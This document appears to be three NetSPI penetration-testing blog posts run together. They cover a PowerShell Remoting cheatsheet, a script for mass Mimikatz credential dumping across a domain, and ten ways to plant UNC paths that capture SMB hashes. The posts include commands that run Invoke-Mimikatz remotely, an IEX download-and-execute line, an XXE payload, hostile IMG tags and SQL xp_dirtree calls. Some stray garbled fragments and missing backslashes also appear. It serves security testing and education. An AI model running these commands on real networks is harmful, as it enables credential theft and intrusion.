Back

PowerShell Remoting Cheatsheet

I have become a big fan of PowerShell Remoting. I find my self using it for both penetration testing and standard management tasks. In this blog I’ll share a basic PowerShell Remoting cheatsheet so you can too.

Introduction to PowerShell Remoting

PowerShell Remoting is essentially a native Windows remote command execution feature that’s build on top of the Windows Remote Management (WinRM) protocol. Based on my super Google results, WinRM is supported by Windows Vista with Service Pack 1 or later, Windows 7, Windows Server 2008, and Windows Server 2012.

Enabling PowerShell Remoting

Before we get started let’s make sure PowerShell Remoting is all setup on your system.

1. In a PowerShell console running as administrator enable PowerShell Remoting.

Enable-PSRemoting –force

This should be enough, but if you have to troubleshoot you can use the commands below.

2. Make sure the WinRM service is setup to start automatically.

# Set start mode to automatic
Set-Service WinRM -StartMode Automatic

# Verify start mode and state - it should be running
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

3. Set all remote hosts to trusted. Note: You may want to unset this later.

# Trust all hosts
Set-Item WSMan:localhost\client\trustedhosts -value *

# Verify trusted hosts configuration
Get-Item WSMan:\localhost\Client\TrustedHosts

Executing Remote Commands with PowerShell Remoting

Now we can play around a little. There’s a great blog from a while back that provides a nice overview of PowerShell Remoting at https://blogs.technet.com/b/heyscriptingguy/archive/2009/10/29/hey-scripting-guy-october-29-2009.aspx. It’s definitely on my recommended reading list, but I’ll expand on the examples a little.

Executing a Single Command on a Remote System

The “Invoke-Command” command can be used to run commands on remote systems. It can run as the current user or using alternative credentials from a non domain system. Examples below.

Invoke-Command –ComputerName MyServer1 -ScriptBlock {Hostname}
Invoke-Command –ComputerName MyServer1 -Credential demo\serveradmin -ScriptBlock {Hostname}

If the ActiveDirectory PowerShell module is installed it’s possible to execute commands on many systems very quickly using the pipeline. Below is a basic example.

Get-ADComputer -Filter *  -properties name | select @{Name="computername";Expression={$_."name"}} | Invoke-Command -ScriptBlock {hostname}

Sometimes it’s nice to run scripts stored locally on your system against remote systems. Below are a few basic examples.

Invoke-Command -ComputerName MyServer1 -FilePath C:\pentest\Invoke-Mimikatz.ps1
Invoke-Command -ComputerName MyServer1 -FilePath C:\pentest\Invoke-Mimikatz.ps1 -Credential demo\serveradmin

Also, if your dynamically generating commands or functions being passed to remote systems you can use invoke-expression through invoke-command as shown below.

$MyCommand = "hostname"
$MyFunction = "function evil {write-host `"Getting evil...`";iex -command $MyCommand};evil"
invoke-command -ComputerName MyServer1 -Credential demo\serveradmin -ScriptBlock {Invoke-Expression -Command  "$args"} -ArgumentList $MyFunction

Establishing an Interactive PowerShell Console on a Remote System

An interactive PowerShell console can be obtained on a remote system using the “Enter-PsSession” command. It feels a little like SSH. Similar to “Invoke-Command”, “Enter-PsSession” can be run as the current user or using alternative credentials from a non domain system. Examples below.

Enter-PsSession –ComputerName server1.domain.com
Enter-PsSession –ComputerName server1.domain.com –Credentials domain\serveradmin

If you want out of the PowerShell session the “Exit-PsSession” command can be used.

Exit-PsSession

Creating Background Sessions

There is another cool feature of PowerShell Remoting that allows users to create background sessions using the “New-PsSession” command. Background sessions can come in handy if you want to execute multiple commands against many systems. Similar to the other commands, the “New-PsSession” command can run as the current user or using alternative credentials from a non domain system. Examples below.

New-PSSession -ComputerName server1.domain.com
New-PSSession –ComputerName server1.domain.com –Credentials domain\serveradmin

If the ActiveDirectory PowerShell module is installed it’s possible to create background sessions for many systems at a time (However, this can be done in many ways). Below is a command example showing how to create background sessions for all of the domain systems. The example shows how to do this from a non domain system using alternative domain credentials.

New-PSDrive -PSProvider ActiveDirectory -Name RemoteADS -Root "" -Server a.b.c.d -credential domain\user
cd RemoteADS:
Get-ADComputer -Filter * -Properties name  | select @{Name="ComputerName";Expression={$_."name"}} | New-PSSession

Listing Background Sessions

Once a few sessions have been established the “Get-PsSession” command can be used to view them.

Get-PSSession

Interacting with Background Sessions

The first time I used this feature I felt like I was working with Metasploit sessions, but these sessions are a little more stable. Below is an example showing how to interact with an active session using the session id.

Enter-PsSession –id 3

To exit the session use the “Exit-PsSession” command. This will send the session into the background again.

Exit-PsSession

Executing Commands through Background Sessions

If your goal is to execute a command on all active sessions the “Invoke-Command” and “Get-PsSession” commands can be used together. Below is an example.

Invoke-Command -Session (Get-PSSession) -ScriptBlock {Hostname}

Removing Background Sessions

Finally, to remove all of your active sessions the “Disconnect-PsSession” command can be used as shown below.

Get-PSSession | Disconnect-PSSession 

Wrap Up

Naturally PowerShell Remoting offers a lot of options for both administrators and penetration testers. Regardless of your use case I think it boils down to this:

  • Use “Invoke-Command” if you’re only going to run one command against a system
  • Use “Enter-PSSession” if you want to interact with a single system
  • Use PowerShell sessions when you’re going to run multiple commands on multiple systems

Hopefully this cheatsheet will be useful. Have fun and hack responsibly.

References

Back

Auto-Dumping Domain Credentials using SPNs, PowerShell Remoting, and Mimikatz

Introduction

Mimikatz is a great “authentication token recovery tool” that the whole pentest community knows and loves.  Since it’s initial development it’s been ported to PowerShell (Invoke-Mimikatz.ps1) and a few “Mass Mimikatz” scripts have been written that wrap around it so Mimikatz can be executed on many domain systems very quickly.  Many “Mass Mimikatz” delivery methods have been used including, but not limited to psexec, schtasks, wmic, and invoke-wmimethod.  Regardless of their differences, they all make scraping Windows domain credentials easier.

In this blog I’ll cover some of that history and share my script “Invoke-MassMimikatz-PsRemoting.psm1”, which tries to expand on other people’s work. It uses PowerShell Remoting and Invoke-Mimikatz.ps1 to collect credentials from remote systems. The new script supports options for auto-targeting domain systems, targeting systems with the WinRM service installed using SPNs, and running from non-domain systems using alternative credentials. The content should be handy for penetration testers, but may also interesting to blue teamers looking to understand how PowerShell Remoting and SPNs can be used during attacks.

A Brief History of the Mass Mimikatz

I thought it would be appropriate to start things of by highlighting some of the work done by others prior to writing my shabby script.  Below are the projects that seemed to stick out the most to me. I highly recommend checking them out.

  • Mimikatz
    For those who might be new to the security industry, Mimikatz is great tool developed by Benjamin Delpy that can be used to dump cleartext passwords from memory (among many other things) as long as you have local administrator privileges.  Benjamin seems to add new and amazing  features on a pretty regular basis so it’s worth it to keep an eye on the github project and his blog.
    https://github.com/gentilkiwi/mimikatz
  • Invoke-Mimikatz
    After Mimikatz had been around a while Joseph Bialek ported Mimikatz to PowerShell.  This was a fantastic feat that made Mimikatz even easier to use for all of us IT security enthusiasts.  It natively supports executing Mimikatz on remote systems using PowerShell Remoting as the current user.  However, I don’t believe that it supports using alternative credentials via PSCredential objects.  The Invoke-Mimikatz github repo is listed below.
    https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz
  • Mass Mimikatz
    After the Invoke-Mimikatz script was released it didn’t take long for people to start writing scripts that execute it  on a larger scale in creative ways.  Rob Fuller released the first scripts I saw that wrapped around Invoke-Mimikatz.ps1. His scripts create a file share that hosts a .cmd file, which is then executed on remote systems via WMIC commands.  The .cmd script then runs a PowerShell command on the remote systems that downloads Invoke-Mimkatz.ps1 into memory, runs it, and writes all of the passwords out to files on the hosted share.  This can all be executed from a non-domain system using alternative credentials.  His blog introducing the scripts is below.
    https://carnal0wnage.attackresearch.com/2013/10/dumping-domains-worth-of-passwords-with.html
  • Invoke-MassMimikatz
    In an effort to streamline the process a bit, Will Schroeder created a nice PowerShell script called “Invoke-MassMimikatz.ps1”.  It hosts “Invoke-Mimikatz.ps1“ on a web server started by his script.  Then Invoke-MassMimikatz.ps1 executes encoded PowerShell commands on remote systems using the “Invoke-WmiMthod” command, which downloads and executes “Invoke-Mimikatz.ps1” in memory. All of the Mimikatz output is then parsed and displayed in the PowerShell console. Invoke-MassMimikatz can also be executed from a non-domain system using alternative credentials. So it’s similar to Rob’s scripts, but consolidates everything into one script that uses a slightly different delivery method.
    https://www.harmj0y.net/blog/powershell/dumping-a-domains-worth-of-passwords-with-mimikatz-pt-2/
  • Metasploit
    I would be neglectful if I didn’t mention Metasploit.  It includes quite a few options for obtaining shells on remote systems.  Once you have a few active sessions its pretty easy to use the Mimikatz extension created by Ben Campbell to grab Windows credentials.  Also, Ben Turner and Dave Hardy added support for fully interactive PowerShell sessions through Metasploit that can load any PowerShell module you want when the session is created which is pretty cool.  I recommend checking out their blog below.
    https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/

An Overview of the Invoke-MassMimikatz-PsRemoting Script

The “Invoke-MassMimikatz-PsRemoting” script provides another way to run Mimikatz on remote systems using PowerShell Remoting, but includes a few novel options. Naturally it’s based on the heavy lifting done in the other projects. For those who are interested it can be downloaded from here.

Below is a summary of the script and its features:

  • It wraps the native command “Invoke-Command“ to execute Invoke-Mimikatz.ps1 on remote systems, and the Invoke-Mimikatz.ps1 script is baked in.  As a result, no files have to be hosted, because “Invoke-Command” doesn’t suffer from the 8192 character limit enforced on commands passed through Invoke-WmiMethod and wmic.
  • It supports alternative credentials and execution from a non-domain system using PSCredential objects.
  • It supports automatically creating a target list of domain computers by querying a domain controller using ADSI. Since ADSI is used, the ActiveDirectory module is not required.
  • It supports filtering for domain computers with WinRM installed by filtering the Service Principal Names.
  • It supports the option to limit the number of systems to run Mimikatz on. The default is 5.
  • It uses Will’s Mimikatz output parser to provide clean output that can be used in the PowerShell pipeline.
  • It checks if the user credentials recovered from remote systems are a Domain or Enterprise admin.

Enabling PowerShell Remoting

Ok, first things first.  Let’s make sure PowerShell Remoting is all setup on the system your running it from. You should be able to use the command below.

Enable-PSRemoting –force

For more information and context check out this technet blog: https://technet.microsoft.com/en-us/magazine/ff700227.aspx

If for some reason that doesn’t work you can use the commands below to trouble shoot.

# Set start mode to automatic
Set-Service WinRM -StartMode Automatic

# Verify start mode 
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

# Trust all hosts
Set-Item WSMan:localhostclienttrustedhosts -value *

# Verify trusted hosts configuration
Get-Item WSMan:localhostClientTrustedHosts

Invoke-MassMimikatz-PsRemoting Function Examples

Below are a few examples. Keep in mind that the domain user used will require administrative privileges on the remote systems.  Additional information and examples can be found in commented section of the script.

The function can be imported a few different ways. If you have outbound internet access you can load the function reflectively and not worry about the execution policy, but for the standard import methods the execution policy may have to be disabled/bypassed. Import examples are below.

# Import the function from the .psm1 file
Import-Module .Invoke-MassMimikatz-PsRemoting.psm1

# Import the function reflectively from an URL:
IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/NetSPI/PowerShell/master/Invoke-MassMimikatz-PsRemoting.psm1’)

Example 1
Running the function against 10.1.1.1 as the current domain user.

Invoke-MassMimikatz-PSRemoting –Verbose –hosts “10.1.1.1”

Example 2
Running the function as the current domain user, grabbing a list of all domain systems, filtering for systems with WinRM installed, and only running Mimikatz on five of them.

Invoke-MassMimikatz-PSRemoting –Verbose –AutoTarget –MaxHost 5 -WinRM

Example 3
Using alternative domain credentials from a non-domain system, grabbing a list of all domain systems, and only running Mimikatz on one of them.

Invoke-MassMimikatz-PsRemoting –Verbose –AutoTarget -MaxHost 1 -username corpMyServerAdmin -password 'MyServerPassword!' –DomainController 10.2.9.106 | ft -AutoSize

C E B Bddc Ee D E

You can then pipe to other commands or simply filter for say Enterprise Admins…

Ed E Ee F F Bd B

Wrap Up

In this blog I covered some Mass Mimikatz history, and a new script that includes a few novel options. Hopefully it’s been interesting to those who haven’t been exposed to the topics before. Either way, don’t forget to have fun and hack responsibly.

References

Back

10 Places to Stick Your UNC Path

Recently there was a big fuss over the “Redirect to SMB” blog that was put out by Brian Wallace. Personally, I think that the recent scare over this vulnerability is a little overstated, but it could be a useful way to capture an SMB hash. I was already in the process of putting together this list, so here’s a bunch of other ways that you can force a UNC path and capture credentials.

UNC paths are one of my favorite things to use during a pen test. Once I force an account to authenticate to me over SMB, I have two options: Capture and Crack the hash or Relay the hash on to another computer. Plenty has been written about both options, so we won’t cover that here. The methods outlined below should give you some options for where you can use UNC paths to force authentication back to your attacking box. Firewall rules and file restrictions can really mess up some of these, so your mileage may vary.

For demo purposes, we will be using “192.168.1.123test” as our listening UNC path / SMB server.

Here’s a linked table, if you want to directly jump to one of these:

Honorable Mention:

1. XML External Entity Injection

External entity injection can be a very handy way to read files off of a remote system, but if that server happens to be a Windows system, you can utilize a UNC path.

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:////192.168.1.123/test.txt" >]>
<foo>&xxe;</foo>

Antti Rantasaari from NetSPI has been doing some really cool work in this space, so check out his blogs for more info.

2. Broken IMG Tags

Using a UNC path for an IMG tag can be pretty useful. Depending on where your SMB listener is (on the internal network) and what browser the victim is using (IE), there’s a chance that the browser will just send the hash over automatically. These can also be embedded anywhere that may process HTML (email, thick apps, etc.).

“Internet Explorer’s Intranet zone security setting must be set to Automatic logon only in Intranet zone. This is the default setting for Internet Explorer.” (Source)

<img src=192.168.1.123test.gif>

3. Directory Traversals

I wrote about this a while back, but web applications that allow you to specify a file path may be vulnerable to UNC path injection. By inputting a UNC path (instead of your typical …. or C: directory traversal),  you may be able to capture the credentials for the service account that runs the web application.

Change the Id parameter in this URL:

  • https://test.example.com/Print/FileReader.aspx?Id=/reports/test.pdf&Type=pdf

To this:

  • https://test.example.com/Print/FileReader.aspx?Id=192.168.1.123test.pdf&Type=pdf

4. Database Queries/injections

My co-worker, Scott Sutherland, wrote about using built-in SQL server procedures to do SMB relay attacks. This one can be really handy if you have databases that allow the “domain users” group to authenticate. It’s surprising to see how many database servers are running with domain admin service accounts. Just use the xp_dirtree or xp_fileexist stored procedures and point them at your SMB capture server.

xp_dirtree '192.168.1.123'
xp_fileexist '192.168.1.123'

There’s a bunch more SQL procedures out there that you could potentially use, but these two are pretty reliable. Anytime you can read a file in SQL, you can probably use a UNC path in it.

This attack also applies to Oracle. The Metasploit “auxiliary/admin/oracle/ora_ntlm_stealer” module can do it and there’s a great blog about Oracle SMB relay on the ERPScan blog.

5. File Shares

If you have write access to a file share, you have a couple of options for getting hashes.

  1. Here’s a great one from Mubix – Modify the path for the icons for .lnk shortcut links to a UNC path
  2. Microsoft Word documents can also be modded with Metasploit (use auxiliary/docx/word_unc_injector) to inject UNC pathes into the documents.

6. Drive Mapping on Login

This may be overkill, but it could be handy for persistence. By modding any scripts used to map network drives for users, you can add your own UNC path in as an additional drive to map. This is handy as any users who have this drive added will send you credentials every time they log in. If you don’t have rights to overwrite the start up scripts, GDS Security has a nice blog about setting this up with Metasploit and spoofing the start up script server.

7. Thick Applications

Basically anywhere that you can tell an app to load a file, you potentially add in a UNC path. We have seen many file upload dialogs in thick applications that allow this. This is even better with hosted thick client applications that are running under the context of a terminal server user (and not the application user). This can also be really handy for kiosk applications. For more thick app breakouts, check out Scott’s “Breaking Out!” blog.

Bfe B Ec Db Ebff Ce Ec

8. The LMhosts.sam file

Mubix has a couple of great UNC tricks in his “AT is the new black” presentation. I already called out the .lnk files up above, but by modifying the LMhosts.sam file, you can sneak in a UNC path that forces the user to load a remote hosts file. Here’s a sample LMhosts.sam using our UNC path:

192.168.1.123    netspi #PRE
#BEGIN_ALTERNATE
#INCLUDE netspitesthosts.txt
#END_ALTERNATE

9. SharePoint

On many of our pen tests, we get access to accounts that can edit everybody’s favorite intranet site, SharePoint. Using any of the other listed methods, you should be able to drop files or direct UNC links on the SharePoint site. Just make sure you go back and clean up the page(s) when you’re done.

10. ARP spoofing – Ettercap filters

There are tons of fun things that you can do with Ettercap filters. One of those things is overwriting content with UNC paths. By injecting a UNC path into someone’s HTML document, clear text SQL query, or any of the protocols mentioned above you should be able to get them to authenticate back to your attacking machine.

Honorable Mention:

11. Redirect to SMB

For what it’s worth, this issue has been out for a very long time. Basically, you get your victim to visit your malicious HTTP server and you 302 redirect them to a UNC file location. If the browser (or program making the HTTP request) automatically authenticates, then the victim will send their hash over to the UNC location. Some of the methods above (See XXE) allow for this if you use an HTTP path instead of the UNC path.

Conclusion

I’m sure that there’s a couple that I missed here, but feel free to add them in the comments.

Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.

X